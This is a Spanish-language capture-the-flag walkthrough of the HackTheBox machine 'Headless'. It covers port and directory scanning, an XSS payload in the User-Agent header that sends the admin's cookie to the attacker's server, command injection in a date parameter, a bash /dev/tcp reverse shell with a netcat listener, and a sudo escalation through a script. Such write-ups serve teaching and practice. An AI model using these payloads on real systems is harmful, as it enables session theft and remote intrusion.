Reconocimiento #
Nmap #
Escaneamos la maquina para ver que puertos tiene abiertos;
nmap -p- --open --min-rate 5000 -Pn -n 10.10.11.8
Nota:
-p-: El guion después de
-p
indica anmap
que debe escanear todos los puertos desde el 1 hasta el 65535–open: Filtra los resultados para mostrar solo los puertos abiertos, ignorando los puertos cerrados y filtrados
-sS: El escaneo SYN es un tipo de escaneo que envía paquetes SYN y analiza las respuestas para determinar el estado de los puertos
–min-rate 5000: Configura
nmap
para enviar al menos 5000 paquetes por segundo, acelerando el escaneo-Pn: Omite la etapa de ping para determinar si un host está activo, asumiendo que todos los hosts están activos. Esto es útil para escanear hosts que pueden estar configurados para no responder a pings
-n: Evita la resolución de nombres DNS, acelerando el escaneo ya que no se espera a que se resuelvan los nombres de los hosts
Vemos que tiene el puerto 22
y 5000
Suponemos que el puerto 5000
es de una web, vamos al navegador y ponemos la ip con el puerto 5000
:
Vamos a hacer fuzzing para ver que directorios podemos encontrar:
Gobuster #
gobuster dir -u http://headless.htb:5000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20
Vemos 2 directorios vamos a ver que tiene cada uno:
/support
:
Muy interesante esta página podemos enviar información
/dashboard
:
Podemos ver que aquí no tenemos permiso de momento
Intrusión #
Hemos visto que en /support
hay un panel de soporte para enviar información, vamos a intentar un XSS para intentar robar alguna cookie de sesión:
Primero nos abrimos un servidor en python para que nos llegue la cookie:
python3 -m http.server
XSS #
Ahora definimos el XSS:
<script>
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.15.68/?coockie=' + document.cookie);
request.send();
</script>
Con todo esto vamos a intentar robar alguna cookie:
Que interesante nos ha bloqueado estas entradas para el XSS
Vamos a pasar la petición por Burpsuite:
Visto esto vamos a intentar el mismo XSS pero en los demás campos:
Hemos probado en el User-Agent y nos ha llegado la cookie al servidor:
Con esta cookie de sesión vamos a probar a entrar al /dashboard
:
Efectivamente tenemos acceso
Explotación #
Ahora que somos admin vemos una nueva pagina, vamos a pasar la petición del botón por Burpsuite:
OS Command Injection #
Por la estructura vemos que puede ser un OS command injection
en el apartado de date, vamos a intentar ejecutar algún comando:
Efectivamente podemos inyectar comandos
Con esto vamos a pasarnos una shell:
bash -c "bash -i >& /dev/tcp/10.10.15.68/443 0>&1"
La url encodeamos:
bash+-c+"bash+-i+>%26+/dev/tcp/10.10.15.68/443+0>%261"
Primero nos ponemos en escucha por el puerto 443:
nc lvnp 443
Tenemos acceso!
TTY Upgrade #
script /dev/null -c bash
^z
stty raw -echo; fg
reset
xterm
export TERM=xterm SHELL=bash
Ya tenemos la user flag:
Escalada de Privilegios #
Ponemos sudo -l
para ver si hay algo que se pueda ejecutar como sudo
sin contraseña:
Efectivamente vamos a ver por dentro ese programa para ver como poder inyectar una bash:
Ahí podemos ver que si no hay /usr/bin/pgrep
se ejecuta initdb.sh, vamos a poner /bin/bash
dentro de initdb.sh y permisos de ejecución:
chmod +x initdb.sh
Ahora vamos a probar de ser root:
Ya está!